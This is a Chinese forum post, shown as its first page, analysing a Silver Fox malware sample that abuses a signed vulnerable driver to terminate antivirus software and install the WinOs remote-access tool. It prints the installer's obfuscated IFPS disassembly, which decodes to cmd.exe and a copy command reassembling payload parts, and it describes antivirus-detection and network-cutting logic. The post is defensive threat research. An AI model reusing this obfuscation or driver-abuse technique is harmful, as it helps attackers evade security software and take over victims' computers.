首页| 论坛| 搜索| 消息
主题:持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒软件
z3960发表于 2026-02-21 07:49
持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒软件
一、背景

在日常样本狩猎中,我们发现捕获的一枚银狐样本尝试加载了先前未曾出现过的可疑驱动STProcessMonitor Driver,最终加载WinOs远控程序操控用户计算机。
该驱动通过了WHQL认证,具有"Safetica Technologies s.r.o."与"Microsoft Windows Hardware Compatibility Publisher"颁发的数字签名,签名时间为‎2025‎年‎5‎月‎9‎日 11:43:46,相当新鲜。
经过分析,该STProcessMonitor Driver在没有经过目标验证的情况下,将结束进程功能的IOCTL暴露给用户模式。该漏洞使攻击者能够终止内核模式中的任意进程,通过BYOVD KillAV。
进一步溯源,我们发现,该批银狐行为者多次组合使用多种脆弱驱动干扰防病毒软件,肆意操纵用户计算机,并最终加载WinOs远控载荷,将用户计算机变为可以被黑客控制的“肉鸡”,先前已多次被国内安全厂商发现并分析,可参考:2025年7月 金山毒霸安全团队/鹰眼威胁情报中心团队 《"银狐"新进展:多Rootkit配合,内核InfinityHook+穿透读写》2025年11月 微步在线团队 《连用四个驱动!银狐开始硬刚EDR和杀软 | 银狐十月总结》但是本次使用的STProcessMonitor Driver在先前并未使用过,在上述文章中也并未出现,是当前样本新添加的脆弱驱动利用。同时,鉴于该驱动在互联网、开源仓库、漏洞数据库中均未找到相关记录,且来自VirusTotal Relations的信息表明相关驱动至今仍有被分发的迹象,即相关驱动目前可能仍在被使用、分发,我们将其提交至CVE漏洞数据库并分配编号CVE-2025-70795(撰写本文时为RESERVED状态,待本文发布,并向magicsword-io/LOLDrivers仓库提交后,会在合适的时机Apply for publication)。这也表明该批银狐行为者可能会在真实世界中主动搜寻和挖掘全新的漏洞驱动。
样本执行流程图请参考如下:
本文思维导图请参考如下(按照复杂梯度排序):

二、样本分析

A.) Setup

SHA-256: 3ba89047b9fb9ae2281e06a7f10a407698174b201f28fc1cadb930207254e485该程序为使用Inno Setup打包的安装程序,如下图所示:
第一步,提取安装程序内的应用文件和安装程序内嵌文件(1) 安装程序内的应用文件包含: main.1 main.2 unzip.2 unzip.3其中,main.1具有7-Zip压缩包文件头,但单文件并不完整;unzip.3具有MZ头和PE头,但单文件并不完整。将main.1+main.2合并后可以确认为7-Zip加密压缩包;将unzip.3+unzip.2合并后可以确认为7-Zip Standalone Console (Signed by NVIDIA Corporation)。
(2) 我们观察到安装程序内嵌文件CompiledCode.bin,这是一个编译后的IFPS脚本,如下图所示:第二步,反汇编编译的IFPS脚本——CompiledCode.bin=>CompiledCode.txt,如下图所示:

1) "OBFUSCATEDEXTRACT"函数

我们在该类汇编伪代码中,观察到一个可疑函数"OBFUSCATEDEXTRACT",函数原文如下: 复制代码 隐藏代码.function(export) void OBFUSCATEDEXTRACT()pushtype S32 ; StackCount = 1pushtype UnicodeString_2 ; StackCount = 2pushtype UnicodeString_2 ; StackCount = 3pushtype UnicodeString_2 ; StackCount = 4pushtype UnicodeString_2 ; StackCount = 5pushtype UnicodeString_2 ; StackCount = 6pushtype UnicodeString_2 ; StackCount = 7pushtype UnicodeString_2 ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9pushtype UnicodeString_2 ; StackCount = 10pushtype UnicodeString_2 ; StackCount = 11pushtype UnicodeString_2 ; StackCount = 12pushtype UnicodeString_2 ; StackCount = 13pushtype Type30 ; StackCount = 14pushtype Type30 ; StackCount = 15pushtype S32 ; StackCount = 16assign Var16, S32(7)pushvar Var15 ; StackCount = 17call SETARRAYLENGTHpop ; StackCount = 16pop ; StackCount = 15assign Var15[0], S32(99)assign Var15[1], S32(109)assign Var15[2], S32(100)assign Var15[3], S32(46)assign Var15[4], S32(101)assign Var15[5], S32(120)assign Var15[6], S32(101)assign Var14, Var15pop ; StackCount = 14pushvar Var2 ; StackCount = 15call STRFROMCODEpop ; StackCount = 14pop ; StackCount = 13pushtype Type30 ; StackCount = 14pushtype Type30 ; StackCount = 15pushtype S32 ; StackCount = 16assign Var16, S32(137)pushvar Var15 ; StackCount = 17call SETARRAYLENGTHpop ; StackCount = 16pop ; StackCount = 15assign Var15[0], S32(47)assign Var15[1], S32(99)assign Var15[2], S32(32)assign Var15[3], S32(99)assign Var15[4], S32(111)assign Var15[5], S32(112)assign Var15[6], S32(121)assign Var15[7], S32(32)assign Var15[8], S32(47)assign Var15[9], S32(98)assign Var15[10], S32(32)assign Var15[11], S32(47)assign Var15[12], S32(121)assign Var15[13], S32(32)assign Var15[14], S32(34)assign Var15[15], S32(67)assign Var15[16], S32(58)assign Var15[17], S32(92)assign Var15[18], S32(85)assign Var15[19], S32(115)assign Var15[20], S32(101)assign Var15[21], S32(114)assign Var15[22], S32(115)assign Var15[23], S32(92)assign Var15[24], S32(80)assign Var15[25], S32(117)assign Var15[26], S32(98)assign Var15[27], S32(108)assign Var15[28], S32(105)assign Var15[29], S32(99)assign Var15[30], S32(92)assign Var15[31], S32(68)assign Var15[32], S32(111)assign Var15[33], S32(99)assign Var15[34], S32(117)assign Var15[35], S32(109)assign Var15[36], S32(101)assign Var15[37], S32(110)assign Var15[38], S32(116)assign Var15[39], S32(115)assign Var15[40], S32(92)assign Var15[41], S32(109)assign Var15[42], S32(97)assign Var15[43], S32(105)assign Var15[44], S32(110)assign Var15[45], S32(46)assign Var15[46], S32(49)assign Var15[47], S32(34)assign Var15[48], S32(32)assign Var15[49], S32(43)assign Var15[50], S32(32)assign Var15[51], S32(34)assign Var15[52], S32(67)assign Var15[53], S32(58)assign Var15[54], S32(92)assign Var15[55], S32(85)assign Var15[56], S32(115)assign Var15[57], S32(101)assign Var15[58], S32(114)assign Var15[59], S32(115)assign Var15[60], S32(92)assign Var15[61], S32(80)assign Var15[62], S32(117)assign Var15[63], S32(98)assign Var15[64], S32(108)assign Var15[65], S32(105)assign Var15[66], S32(99)assign Var15[67], S32(92)assign Var15[68], S32(68)assign Var15[69], S32(111)assign Var15[70], S32(99)assign Var15[71], S32(117)assign Var15[72], S32(109)assign Var15[73], S32(101)assign Var15[74], S32(110)assign Var15[75], S32(116)assign Var15[76], S32(115)assign Var15[77], S32(92)assign Var15[78], S32(109)assign Var15[79], S32(97)assign Var15[80], S32(105)assign Var15[81], S32(110)assign Var15[82], S32(46)assign Var15[83], S32(50)assign Var15[84], S32(34)assign Var15[85], S32(32)assign Var15[86], S32(34)assign Var15[87], S32(67)assign
下一页 (1/23)
回帖(7):
7 # hanxiao129
02-22 20:31
看来很不错的
6 # hanxiao129
02-22 20:30
不错的银狐
5 # hanxiao129
02-22 20:30
感谢楼主分享
4 # huwg
02-21 16:56
谢谢分享
3 # huwg
02-21 16:56
了解一下
2 # huwg
02-21 16:56
来看看看
1 # z3960
02-21 07:50
该函数会检测360主防进程——若存在,则执行断网,具体如下:该函数会调用代码中的“IS360PROCES ..

全部回帖(7)»
最新回帖
收藏本帖
发新帖